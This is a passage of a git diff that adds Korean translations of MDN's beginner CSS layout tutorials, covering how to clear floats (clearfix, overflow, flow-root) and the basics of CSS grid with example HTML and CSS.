+  max-width: 900px;
+  margin: 0 auto;
+  font: .9em/1.2 Arial, Helvetica, sans-serif
+}
+
+.wrapper {
+  background-color: rgb(79,185,227);
+  padding: 10px;
+  color: #fff;
+}
+
+.box {
+  float: left;
+  margin: 15px;
+  width: 150px;
+  height: 150px;
+  border-radius: 5px;
+  background-color: rgb(207,232,220);
+  padding: 1em;
+}
+
+.cleared {
+  clear: left;
+}
+</pre>
+</div>
+</div>
+
+<p>{{ EmbedLiveSample('float_4', '100%', 600) }}</p>
+
+<p>반복되는 얘기지만, 이렇게 된 까닭은 floats가 정상 대열에서 제거되었기 때문입니다. 후속 요소를 정리해도 이럴 때는 상자 정리 문제에 도움이 되지 않습니다. 즉 상자의 밑단이 float 항목을 애워싸고, 짧은 컨텐츠라도 동 컨텐츠를 애워싸길 원할 경우에는 도움이 되질 않습니다. 이를 처리하려면 생각할 수 있는 세 가지 방법이 있는데, 그 중 두 가지 방법은 모든 브라우저에서 작동하지만, 약간 땜질식이며, 세 번째 새로운 방법은 이런 상황을 제대로 처리합니다.</p>
+
+<h3 id="The_clearfix_hack">The clearfix hack</h3>
+
+<p>이 상황을 처리하는 전통적인 방법은 "clearfix hack"이라고 알려진 내용을 사용하는 것입니다. 여기에는 floats와 그걸 둘러싼 콘텐츠가 들어 있는 상자 뒤에 일부 생성된 콘텐츠를 삽입하고, 그것에 (좌측 우측 관계없는) <code>clear: both;</code>를 설정하는 것을 말합니다.</p>
+
+<p>우리의 예제에 다음과 같은 CSS를 추가하세요.</p>
+
+<pre class="brush: css">.wrapper::after {
+  content: "";
+  clear: both;
+  display: block;
+}</pre>
+
+<p>이제 페이지를 새로고침하면 상자가 지워집니다. 이것은 본질적으로 항목 아래에 <code>&lt;div&gt;</code>와 같은 HTML 요소를 추가하고, 거기에 <code>clear: both</code>를 설정한 것과 같습니다.</p>
+
+<div id="부동_5">
+<div class="hidden">
+<h6 id="float_예제_5">float 예제 5</h6>
+
+<pre class="brush: html">&lt;h1&gt;간단한 float 예제&lt;/h1&gt;
+&lt;div class="wrapper"&gt;
+  &lt;div class="box"&gt;float&lt;/div&gt;
+
+  &lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. &lt;/p&gt;
+&lt;/div&gt;
+&lt;p class="cleared"&gt;Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;
+
+&lt;p&gt;Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.&lt;/p&gt;      </pre>
+
+<pre class="brush: css">body {
+  width: 90%;
+  max-width: 900px;
+  margin: 0 auto;
+  font: .9em/1.2 Arial, Helvetica, sans-serif
+}
+
+.wrapper {
+  background-color: rgb(79,185,227);
+  padding: 10px;
+  color: #fff;
+}
+
+.box {
+  float: left;
+  margin: 15px;
+  width: 150px;
+  height: 150px;
+  border-radius: 5px;
+  background-color: rgb(207,232,220);
+  padding: 1em;
+}
+
+.wrapper::after {
+  content: "";
+  clear: both;
+  display: block;
+}
+</pre>
+</div>
+</div>
+
+<p>{{ EmbedLiveSample('float_5', '100%', 600) }}</p>
+
+<h3 id="overflow_사용">overflow 사용</h3>
+
+<p>다른 대안으로는 <code>.wrapper</code> 클래스에 {{cssxref("overflow")}} 속성을 <code>visible</code> 이 외의 값으로 설정하는 방법이 있습니다.</p>
+
+<p>이전 섹션에서 추가한 clearfix CSS 부분을 제거하고 그 대신 <code>.wrapper</code> 클래스에 대한 CSS 규칙에 <code>overflow: auto</code>를 추가합니다. 반복되는 얘기지만, 상자가 정리되었을 겁니다.</p>
+
+<pre class="brush: css">.wrapper {
+  background-color: rgb(79,185,227);
+  padding: 10px;
+  color: #fff;
+  overflow: auto;
+}</pre>
+
+<div id="부동_6">
+<div class="hidden">
+<h6 id="float_예제_6">float 예제 6</h6>
+
+<pre class="brush: html">&lt;h1&gt;간단한 float 예제&lt;/h1&gt;
+&lt;div class="wrapper"&gt;
+  &lt;div class="box"&gt;float&lt;/div&gt;
+
+  &lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. &lt;/p&gt;
+&lt;/div&gt;
+&lt;p class="cleared"&gt;Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;
+
+&lt;p&gt;Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.&lt;/p&gt;    </pre>
+
+<pre class="brush: css">body {
+  width: 90%;
+  max-width: 900px;
+  margin: 0 auto;
+  font: .9em/1.2 Arial, Helvetica, sans-serif
+}
+
+.wrapper {
+  background-color: rgb(79,185,227);
+  padding: 10px;
+  color: #fff;
+  overflow: auto;
+}
+
+.box {
+  float: left;
+  margin: 15px;
+  width: 150px;
+  height: 150px;
+  border-radius: 5px;
+  background-color: rgb(207,232,220);
+  padding: 1em;
+}
+</pre>
+</div>
+</div>
+
+<p>{{ EmbedLiveSample('float_6', '100%', 600) }}</p>
+
+<p>이 예는 <strong>block formatting context</strong>라고(블록 서식 상황) 알려진 것을 생성하여 처리합니다. 이것은 당신의 페이제 내부 미니 레이아웃과도 같습니다. 그 안에 모든 것이 포함되어 있으므로 우리의 float 요소는 블록 서식 상황 내부에 포함되어 있으며 배경은 두 개 항목 뒤에 펼쳐집니다. 그러나 어떤 경우에는 overflow 사용에 따른 의도하지 않은 결과 때문에 원치 않는 스크롤 막대나 잘린 그림자가 발견될 수 있습니다.</p>
+
+<h3 id="display_flow-root">display: flow-root</h3>
+
+<p>이 문제를 해결하는 현대적인 방식은 <code>display</code> 속성에서 <code>flow-root</code>값을 사용하는 방법입니다. 이것은 임시방편을 사용하지 않고 블록 서식 상황을 생성하기 위해만 존재합니다. 이를 사용할 때 의도하지 않은 결과는 없습니다. 당신의 <code>.wrapper</code> 규칙에서 <code>overflow: auto</code>를 제거하고 <code>display: flow-root</code>를 추가합니다. 당신이 이 기능을 지원하는 브라우저가 있다는 가정 하에 상자가 정리될 것입니다.</p>
+
+<pre class="brush: css">.wrapper {
+  background-color: rgb(79,185,227);
+  padding: 10px;
+  color: #fff;
+  display: flow-root;
+}</pre>
+
+<div id="부동_7">
+<div class="hidden">
+<h6 id="float_예제_7">float 예제 7</h6>
+
+<pre class="brush: html">&lt;h1&gt;간단한 float 예제&lt;/h1&gt;
+&lt;div class="wrapper"&gt;
+  &lt;div class="box"&gt;float&lt;/div&gt;
+
+  &lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. &lt;/p&gt;
+&lt;/div&gt;
+&lt;p class="cleared"&gt;Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;
+
+&lt;p&gt;Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.&lt;/p&gt;    </pre>
+
+<pre class="brush: css">body {
+  width: 90%;
+  max-width: 900px;
+  margin: 0 auto;
+  font: .9em/1.2 Arial, Helvetica, sans-serif
+}
+
+.wrapper {
+  background-color: rgb(79,185,227);
+  padding: 10px;
+  color: #fff;
+  display: flow-root;
+}
+
+.box {
+  float: left;
+  margin: 15px;
+  width: 150px;
+  height: 150px;
+  border-radius: 5px;
+  background-color: rgb(207,232,220);
+  padding: 1em;
+}
+</pre>
+</div>
+</div>
+
+<p>{{ EmbedLiveSample('float_7', '100%', 600) }}</p>
+
+<h2 id="요약정리">요약정리</h2>
+
+<p>당신은 현대적인 웹 개발에서 floats에 대해 알아야 할 것은 이제 모두 알게 되었습니다. 과거에 어떤 식으로 사용되었는지에 관한 정보에 대해선 <a href="/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">레거시 레이아웃 메서드</a>에 관한 문서를 보십시요. 오래된 프로젝드에 몸 담을 일이 생긴다면 유용할 수도 있습니다.</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Grids", "Learn/CSS/CSS_layout/Positioning", "Learn/CSS/CSS_layout")}}</p>
+
+<h2 id="이번_단위에는">이번 단위에는</h2>
+
+<ul>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Introduction">CSS 레이아웃 소개</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/일반_흐름">일반 대열</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Flexbox">flexbox</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Grids">grid</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Floats">floats</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/위치잡기">위치잡기</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">다단 레이아웃</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/반응형_디자인">반응형 디자인</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/미디어_쿼리_초보자_안내서">미디어 쿼리 초보자 안내서</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/레거시_조판_메서드">레거시 레이아웃 메서드</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/%EC%9D%B4%EC%A0%84_%EB%B8%8C%EB%9D%BC%EC%9A%B0%EC%A0%80_%EC%A7%80%EC%9B%90">이전 브라우저 지원</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">레이아웃 이해도 필수 평가</a></li>
+</ul>
diff --git a/files/ko/learn/css/css_layout/grids/index.html b/files/ko/learn/css/css_layout/grids/index.html
new file mode 100644
index 0000000000..6e4b7403f5
--- /dev/null
+++ b/files/ko/learn/css/css_layout/grids/index.html
@@ -0,0 +1,711 @@
+---
+title: 그리드
+slug: Learn/CSS/CSS_layout/Grids
+tags:
+  - 그리드
+  - 그리드 레이아웃
+  - 씨에스에스
+  - 아티클
+  - 안내서
+  - 자습서
+  - 초보자
+  - 코딩스크립팅
+  - 학습
+translation_of: Learn/CSS/CSS_layout/Grids
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout/Floats", "Learn/CSS/CSS_layout")}}</div>
+
+<p class="summary">CSS 그리드 레이아웃은 웹페이지를 위한 이차원 레이아웃 시스템입니다. 이 기능을 통해 콘텐츠를 행과 열에 배치할 수 있으며 복잡한 레이아웃을 직접 직관적으로 구축할 수 있는 많은 기능이 있습니다. 이 글은 페이지 레이아웃을 시작하기 위해 필요한 모든 것을 알려드립니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">선결 사항:</th>
+   <td>HTML 기본 (<a href="/ko/docs/Learn/HTML/Introduction_to_HTML">HTML 입문</a> 학습), CSS의 작동 방식 <a href="/ko/docs/Learn/CSS/Introduction_to_CSS">CSS 입문 </a> 및 (<a href="/ko/docs/Learn/CSS/Styling_boxes">박스 양식 지정</a> 학습)</td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>그리드 레이아웃 시스템의 근간 개념과 그리드 레이아웃 구현 방법 이해하기</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="그리드_레이아웃이란_무엇인가">그리드 레이아웃이란 무엇인가?</h2>
+
+<p>그리드는 수평선과 수직선으로 이루어진 집합체로, 디자인 요소를 정렬할 수 있는 대상 패턴을 생성한다. 이 디자인은 페이지에서 페이지로 이동할 때 요소가 널뛰거나 너비가 바뀌지 않는 디자인 생성에 도움을 주어 웹 사이트의 일관성을 높여준다.</p>
+
+<p>하나의 그리드은 대게 <strong>columns</strong>, <strong>rows</strong>로 구성되며, 각 행과 열 사이에 공백이 있는데, 대게는 이를 일컬어 <strong>gutters</strong>라고 부른다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13899/grid.png" style="display: block; height: 553px; margin: 0px auto; width: 1196px;"></p>
+
+<h2 id="CSS에서_그리드_생성하기">CSS에서 그리드 생성하기</h2>
+
+<p>당신의 디자인에 필요한 그리드를 결정했다면 해당 CSS 그리드 레이아웃을 생성하고 그 위에 항목을 올려놓기 위해 CSS 그리드 레이아웃을 사용할 수 있습니다. 우리는 먼저 그리드 레이아웃의 기본 기능을 살펴보고 난 뒤 당신의 프로젝트에 맞는 간단한 그리드 시스템을 생성하는 방법을 살펴보겠습니다.</p>
+
+<h3 id="그리드의_정의">그리드의 정의</h3>
+
+<p>본격적인 출발에 앞서 텍스트 편집기 및 브라우저 상에서 <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/0-starting-point.html">시작 파일</a>을 다운로드하고 엽니다(<a href="https://mdn.github.io/learning-area/css/css-layout/grids/0-starting-point.html">여기에서 라이브로 볼 수도 있습니다</a>). 예를 들어, 당신은 일부 자식 항목이 있는 컨테이너 예제를 보게됩니다. 기본값으로 이들은 일반 대열로 표시되므로 상자들은 다른 대상 요소 바로 밑에 표시됩니다. 우리는 이 단원의 첫 번째 부분은 이 (시작) 파일을 가지고 작업할 것이며, 거기에 변경을 더해 그리드가 어떻게 동작하는지 확인하게 됩니다.</p>
+
+<p>{{cssxref("display")}} 속성에 <code>grid</code> 값을 사용해 그리드를 규정한다. 이로써 Flexbox와 마찬가지로 그리드 레이아웃으로 전환하며, 컨테이너의 직계 자식 전체가 그리드 아이템이 됩니다. 내려받은 시작 파일 내부 CSS 부분에 다음을 추가하세요:</p>
+
+<pre class="brush: css">.container {
+    display: grid;
+}</pre>
+
+<p>가변상자와 달리 항목 무리는 즉각적으로 모양이 달리지지 않는다. <code>display: grid</code> 선언으로 열 그리드 하나가 당신에게 주어지며, 따라서 당신의 항목들은 일반 대열 속 행동 방식처럼 다른 대상 요소 바로 밑에 계속 표시된다.</p>
+
+<p>그리드 같은 모양세를 확인하려면 그리드에 몇 개의 열을 추가할 필요가 있다. 여기에 200픽셀 칼럼 3개를 추가해봅시다. 길이 단위나 백분율을 사용하여 그러한 열 트랙을 만들 수 있습니다.</p>
+
+<pre class="brush: css">.container {
+    display: grid;
+    grid-template-columns: 200px 200px 200px;
+}</pre>
+
+<p>CSS 규칙에 제2 선언을 추가한 다음 페이지를 다시 로드하면 생성된 그리드의 각 셀 안으로 그리드 항목 무리가 하나씩 재배열되는 것이 확인될 것이다.</p>
+
+<div id="격자_1">
+<div class="hidden">
+<h6 id="간단한_그리드_예제">간단한 그리드 예제</h6>
+
+<pre class="brush: css">body {
+  width: 90%;
+  max-width: 900px;
+  margin: 2em auto;
+  font: .9em/1.2 Arial, Helvetica, sans-serif;
+}
+
+.container &gt; div {
+  border-radius: 5px;
+  padding: 10px;
+  background-color: rgb(207,232,220);
+  border: 2px solid rgb(79,185,227);
+}          </pre>
+
+<pre class="brush: html">&lt;div class="container"&gt;
+ &lt;div&gt;하나&lt;/div&gt;
+ &lt;div&gt;둘&lt;/div&gt;
+ &lt;div&gt;셋&lt;/div&gt;
+ &lt;div&gt;넷&lt;/div&gt;
+ &lt;div&gt;다덧&lt;/div&gt;
+ &lt;div&gt;여섯&lt;/div&gt;
+ &lt;div&gt;일곱&lt;/div&gt;
+&lt;/div&gt; </pre>
+
+<pre class="brush: css">.container {
+  display: grid;
+  grid-template-columns: 200px 200px 200px;
+} </pre>
+</div>
+</div>
+
+<p>{{ EmbedLiveSample('그리드_1', '100%', 400) }}</p>
+
+<h3 id="fr_단위를_포함한_가변_그리드">fr 단위를 포함한 가변 그리드</h3>
+
+<p>길이와 백분율을 사용하여 그리드를 생성하는 것 외에도 <strong><code>fr</code></strong> 단위를 사용하여 그리드 행과 열을 가변적으로 조정할 수 있다. 동 단위는 그리드 컨테이너 내부에 사용 가능한 공간에서 한 개의 분할 부분과 같다.</p>
+
+<p>트랙 목록을 다음과 같이 정의로 변경하여, 세 개의 <code>1fr</code> 트랙을 생성한다.</p>
+
+<pre class="brush: css">.container {
+    display: grid;
+    grid-template-columns: 1fr 1fr 1fr;
+}</pre>
+
+<p>이제 가변 트랙을 보유했다는 것이 확인될 것이다. <code>fr</code> 단위는 공간을 균등하게 분배하므로 예를 들어 다음과 같이 규정을 변경할 경우 트랙에 서로 다른 값을 부여할 수 있다:</p>
+
+<pre class="brush: css">.container {
+    display: grid;
+    grid-template-columns: 2fr 1fr 1fr;
+}</pre>
+
+<p>첫 번째 트랙은 이제 사용 가능한 공간의 2fr을 얻고 다른 두 트랙은 1fr을 얻음으로써 첫 번째 트랙을 더 크게 만듭니다. <code>fr</code> 단위와 고정 길이 트랙을 혼합할 수 있습니다. 이러한 경우 고정 트랙들에 필요한 공간이 제외한 이후에 해당 공간이 다른 트랙에 분배됩니다.</p>
+
+<div id="격자_2">
+<div class="hidden">
+<h6 id="fr_단위를_포함하는_그리드_예제">fr 단위를 포함하는 그리드 예제</h6>
+
+<pre class="brush: css">body {
+  width: 90%;
+  max-width: 900px;
+  margin: 2em auto;
+  font: .9em/1.2 Arial, Helvetica, sans-serif;
+}
+
+.container {
+  display: grid;
+  grid-template-columns: 2fr 1fr 1fr;
+}
+
+.container &gt; div {
+  border-radius: 5px;
+  padding: 10px;
+  background-color: rgb(207,232,220);
+  border: 2px solid rgb(79,185,227);
+}
+                </pre>
+
+<pre class="brush: html">&lt;div class="container"&gt;
+  &lt;div&gt;하나&lt;/div&gt;
+  &lt;div&gt;둘&lt;/div&gt;
+  &lt;div&gt;셋&lt;/div&gt;
+  &lt;div&gt;넷&lt;/div&gt;
+  &lt;div&gt;다덧&lt;/div&gt;
+  &lt;div&gt;여섯&lt;/div&gt;
+  &lt;div&gt;Seven&lt;/div&gt;
+&lt;/div&gt;                        </pre>
+</div>
+</div>
+
+<p>{{ EmbedLiveSample('그리드_2', '100%', 400) }}</p>
+
+<div class="note">
+<p><strong>참고</strong>: <code>fr</code> 단위는 <em>전체</em> 공간이 아닌 <em>이용 가능한</em> 공간을 분배한다. 따라서 당신의 트랙 중 하나가 자기 내부에 뭔가 큰 공간을 차지한다면 공유할 수 있는 여유 공간이 줄어들 것이다.</p>
+</div>
+
+<h3 id="트랙사이_간격">트랙사이 간격</h3>
+
+<p>우리가 트랙사이 간격을 생성하려면 열 사이 간격에 대해선 {{cssxref("grid-column-gap")}} 속성을 사용하고, 행 사이 간격에 대해선 {{cssxref("grid-row-gap")}}를 사용하고, 단번에 둘 다 설정하려면 {{cssxref("grid-gap")}}를 사용한다.</p>
+
+<pre class="brush: css">.container {
+    display: grid;
+    grid-template-columns: 2fr 1fr 1fr;
+    grid-gap: 20px;
+}
+</pre>
+
+<p>이러한 간격은 길이 단위 또는 백분율이 될 수 있지만, <code>fr</code> 단위는 될 수 없습니다.</p>
+
+<div id="격자_3">
+<div class="hidden">
+<h6 id="fr_단위를_사용하는_간단한_그리드_예제">fr 단위를 사용하는 간단한 그리드 예제</h6>
+
+<pre class="brush: css">body {
+  width: 90%;
+  max-width: 900px;
+  margin: 2em auto;
+  font: .9em/1.2 Arial, Helvetica, sans-serif;
+}
+
+.container {
+  display: grid;
+  grid-template-columns: 2fr 1fr 1fr;
+  grid-gap: 20px;
+}
+
+.container &gt; div {
+  border-radius: 5px;
+  padding: 10px;
+  background-color: rgb(207,232,220);
+  border: 2px solid rgb(79,185,227);
+}
+                </pre>
+
+<pre class="brush: html">&lt;div class="container"&gt;
+  &lt;div&gt;하나&lt;/div&gt;
+  &lt;div&gt;둘&lt;/div&gt;
+  &lt;div&gt;셋&lt;/div&gt;
+  &lt;div&gt;넷&lt;/div&gt;
+  &lt;div&gt;다덧&lt;/div&gt;
+  &lt;div&gt;여섯&lt;/div&gt;
+  &lt;div&gt;일곱&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+</div>
+</div>
+
+<p>{{ EmbedLiveSample('그리드_3', '100%', 400) }}</p>
+
+<div class="note">
+<p><strong>참고</strong>: <code>*gap</code> 속성은 예전에는 <code>grid-</code> 접두사를 사용하곤 했지만, 해당 CSS 규격은 변경되었다. 당시는 그들 속성을 여러 레이아웃 메서드 상에서 사용할 수 있게 하자는 취지였다. 현재 마이크로소프트 에지와 파이어폭스는 해당(grid-) 접두사가 없는 버전을 지원하며 접두사 버전은 별칭으로 유지되므로 한동안 사용하는 데 지장이 없을 것이다. 당신이 안전한 쪽을 택하려면 완전 무결한 코드를 담보하기 위해 두 가지 속성을 이중으로 추가할 수 있다.</p>
+</div>
+
+<pre class="brush: css">.container {
+  display: grid;
+  grid-template-columns: 2fr 1fr 1fr;
+  grid-gap: 20px;
+  gap: 20px;
+}</pre>
+
+<h3 id="트랙_목록의_반복">트랙 목록의 반복</h3>
+
+<p>반복 표기법을 사용하여 당신의 트랙 목록의 전체 또는 한 섹션을 반복할 수 있다. 트랙 목록을 다음 항목으로 변경하라.</p>
+
+<pre class="brush: css">.container {
+    display: grid;
+    grid-template-columns: repeat(3, 1fr);
+    grid-gap: 20px;
+}</pre>
+
+<p>이제 당신은 이전과 마찬가지로 3개의 1fr 트랙을 얻을 수 있다. 반복 함수에 전달되는 첫 번째 값은 당신이 원하는 트랙 목록의 반복 횟수가 되며, 두 번째 값은 하나의 트랙 목록이며, 이는 당신이 반복되길 원하는 일개 트랙 또는 여러 트랙이 될 수도 있다.</p>
+
+<h3 id="암시적_그리드와_명시적_그리드">암시적 그리드와 명시적 그리드</h3>
+
+<p>지금까지는 열 트랙만 지정했지만, 콘텐츠를 저장하기 위해 행도 만들어지고 있다. 이것은 명시적 그리드 대항 암시적 그리드의 한 예다. 명시적 그리드는 당신이 <code>grid-template-columns</code> 또는 <code>grid-template-rows</code>를 사용하여 생성하는 것을 말한다. 암시적 그리드가 생성되는 시점은 콘텐츠가 해당 그리드 외부에 배치될 때이다. 예를 들어 콘텐츠가 행렬 내부에 진입할 시점이 된다. 명시적 및 암시적 그리드는 가변상자의 주축 및 교차축과 유사하다.</p>
+
+<p>기본값으로 암시적 그리드 상에 생성된 트랙은 <code>auto</code> 크기로 되며, 이는 일반적으로 콘텐츠를 알맞게 들여놓기에 충분히 크다는 것을 의미한다. 당신이 암시적 그리드 트랙에 크기를 지정하려면 {{cssxref("grid-auto-rows")}}와 {{cssxref("grid-auto-columns")}} 속성을 사용할 수 있다. 당신의 작업 CSS에 <code>100px</code>값을 <code>grid-auto-rows</code>에 추가하게 되면 생성된 행이 이제 100 픽셀 높이가 되는 걸 보게 된다.</p>
+
+<div id="격자_4">
+<div class="hidden">
+<h6 id="fr_단위를_사용하는_간단한_그리드_예제_2">fr 단위를 사용하는 간단한 그리드 예제</h6>
+
+<pre class="brush: css">body {
+  width: 90%;
+  max-width: 900px;
+  margin: 2em auto;
+  font: .9em/1.2 Arial, Helvetica, sans-serif;
+}
+
+.container &gt; div {
+  border-radius: 5px;
+  padding: 10px;
+  background-color: rgb(207,232,220);
+  border: 2px solid rgb(79,185,227);
+}                  </pre>
+
+<pre class="brush: html">&lt;div class="container"&gt;
+  &lt;div&gt;하나&lt;/div&gt;
+  &lt;div&gt;둘&lt;/div&gt;
+  &lt;div&gt;셋&lt;/div&gt;
+  &lt;div&gt;넷&lt;/div&gt;
+  &lt;div&gt;다덧&lt;/div&gt;
+  &lt;div&gt;여섯&lt;/div&gt;
+  &lt;div&gt;일곱&lt;/div&gt;
+&lt;/div&gt;
+                        </pre>
+</div>
+
+<pre class="brush: css">.container {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: 100px;
+  grid-gap: 20px;
+}</pre>
+</div>
+
+<p>{{ EmbedLiveSample('그리드_4', '100%', 400) }}</p>
+
+<h3 id="minmax_함수">minmax() 함수</h3>
+
+<p>100픽셀 높이의 트랙은 100픽셀 이상의 트랙에 콘텐츠를 추가할 경우 별로 유용하지 않을 것이다. 그 경우 오버플로를 야기하니 말이다. <em>적어도</em> 100픽셀 높이의 트랙이 있고, 거기에 더 많은 콘텐츠가 들어가더라도 여전히 확장될 수 있다면 더 나을 수 있다. 웹에 관한 상당히 기본적인 사실은 어떤 것의 높이가 앞으로 얼마나 커질지 결코 모른다는 점이다. 추가 내용 또는 더 큰 글꼴 크기는 모든 면에서 픽셀 크기의 완전성을 추구하는 디자인의 경우 문제를 일으킬 수 있다.</p>
+
+<p><code>minmax</code>는 트랙의 최소 및 최대 크기를 설정할 수 있게 해준다. 예를 들어 <code>minmax(100px, auto)</code>. 최소 크기는 100 픽셀이지만 최대 크기는 <code>auto</code>로써 콘텐츠에 들어맞게 확장된다. 최소최대값을 사용하려면 <code>grid-auto-rows</code>를 변경해보라.</p>
+
+<pre class="brush: css">.container {
+    display: grid;
+    grid-template-columns: repeat(3, 1fr);
+    grid-auto-rows: minmax(100px, auto);
+    grid-gap: 20px;
+}</pre>
+
+<p>추가 콘텐츠를 추가하면 트랙이 확장되어 콘텐츠가 들어맞게 트랙이 확대되는 걸 보게될 겁니다. 정확히 행을 따라 확장이 일어난다는 점에 유의하십시오.</p>
+
+<h3 id="들어맞을_때까지_열_생성">들어맞을 때까지 열 생성</h3>
+
+<p>우리는 트랙 목록, 반복 표기법, <code>minmax()</code>등에 대해 우리가 배운 몇 가지를 결합하여 유용한 패턴을 만들 수 있다. 때로는 그리드 컨테이너에 들여놓기할 때 최대한 많은 열을 생성하라고 그리드에 요청할 수 있으면 도움이 된다. 우리는 그렇게 하려면 <code>repeat()</code> 표기법을 사용하여 <code>grid-template-columns</code>의 값을 설정하면 되지만, 숫자로 전달할 게 아니라 키워드 <code>auto-fill</code>을 사용했다. 동 함수의 두 번째 매개 변수의 경우 최소값은 우리가 갖고 싶은 최소 트랙 크기와 같고 최대값은 1fr이다.</p>
+
+<p>이를 당신의 파일에서 당장 시험해려면 아래 CSS를 사용하십시요:</p>
+
+<div id="격자_5">
+<div class="hidden">
+<h6 id="들어맞을_때까지_열_생성_2">들어맞을 때까지 열 생성</h6>
+
+<pre class="brush: css">body {
+  width: 90%;
+  max-width: 900px;
+  margin: 2em auto;
+  font: .9em/1.2 Arial, Helvetica, sans-serif;
+}
+
+.container &gt; div {
+  border-radius: 5px;
+  padding: 10px;
+  background-color: rgb(207,232,220);
+  border: 2px solid rgb(79,185,227);
+}
+                </pre>
+
+<pre class="brush: html">&lt;div class="container"&gt;
+  &lt;div&gt;하나&lt;/div&gt;
+  &lt;div&gt;둘&lt;/div&gt;
+  &lt;div&gt;셋&lt;/div&gt;
+  &lt;div&gt;넷&lt;/div&gt;
+  &lt;div&gt;다덧&lt;/div&gt;
+  &lt;div&gt;여섯&lt;/div&gt;
+  &lt;div&gt;일곱&lt;/div&gt;
+&lt;/div&gt;                      </pre>
+</div>
+
+<pre class="brush: css">.container {
+  display: grid;
+  grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));
+  grid-auto-rows: minmax(100px, auto);
+  grid-gap: 20px;
+}</pre>
+</div>
+
+<p>{{ EmbedLiveSample('그리드_5', '100%', 400) }}</p>
+
+<p>이것이 작동하는 까닭은 그리드가 그리드 컨테이너에 들어갈 수 있는 200픽셀의 열을 최대한 많이 만들고, 그 뒤 전체 열 사이 남은 공간이 얼마가 돼건 공유하기 때문이다. 최대치 1fr이며, 이미 알고 있듯이 트랙 사이 공간을 고르게 분배한다.</p>
+
+<h2 id="라인_기반_배치">라인 기반 배치</h2>
+
